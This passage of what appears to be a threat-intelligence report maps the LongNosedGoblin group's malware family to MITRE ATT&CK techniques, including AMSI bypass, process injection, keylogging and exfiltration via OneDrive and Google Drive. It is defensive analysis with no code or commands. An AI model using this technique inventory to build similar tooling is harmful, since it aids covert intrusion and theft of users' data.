T1564.003 Hide Artifacts: Hidden Window NosyDownloader creates a PowerShell process with a hidden window.
T1562.001 Impair Defenses: Disable or Modify Tools NosyDoor Stage 2, NosyStealer Stage 3, and NosyDownloader bypass AMSI.
T1036.005 Masquerading: Match Legitimate Name or Location NosyHistorian Stage 1 was observed with the name Registry.pol, masquerading as a Registry Policy file.
T1218 Signed Binary Proxy Execution NosyDoor Stage 1 executes the next stage by leveraging the legitimate UevAppMonitor.exe.
T1055 Process Injection One observed NosyStealer Stage 2 injects Stage 3 to pmp.exe via CreateRemoteThread. The other observed sample injects to notepad.exe via SetThreadContext with ResumeThread.
T1620 Reflective Code Loading Donut has been used to execute NosyStealer Stage 3 and Stage 4 in memory.
Discovery T1217 Browser Information Discovery NosyHistorian collects browser history from Google Chrome, Microsoft Edge, and Mozilla Firefox.
T1083 File and Directory Discovery NosyDoor can list files and directories.
T1082 System Information Discovery NosyDoor obtains system information as part of C&C beaconing.
Collection T1056.001 Input Capture: Keylogging NosyLogger logs keystrokes.
T1125 Video Capture LongNosedGoblin has used video recording software, likely FFmpeg, to capture audio and video.
T1560 Archive Collected Data NosyLogger encrypts collected data via AES.
T1074.001 Data Staged: Local Data Staging NosyLogger stores pressed keys, window names, and clipboard content to a file at a hardcoded path.
Command and Control T1071.001 Application Layer Protocol: Web Protocols NosyDownloader uses HTTP to download further payload.
T1105 Ingress Tool Transfer NosyDoor and NosyDownloader can download and run subsequent payloads.
T1102.002 Web Service: Bidirectional Communication NosyDoor uses Microsoft OneDrive as its C&C server. NosyStealer uses Google Docs to receive a trigger command and to send debug messages, and Google Drive to exfiltrate browser data.
T1573.001 Encrypted Channel: Symmetric Cryptography NosyDoor encrypts C&C command outputs via AES.
T1573.002 Encrypted Channel: Asymmetric Cryptography NosyDoor uses RSA to encrypt metadata that is sent to the C&C server.
Exfiltration T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage NosyStealer exfiltrates browser data to Google Drive.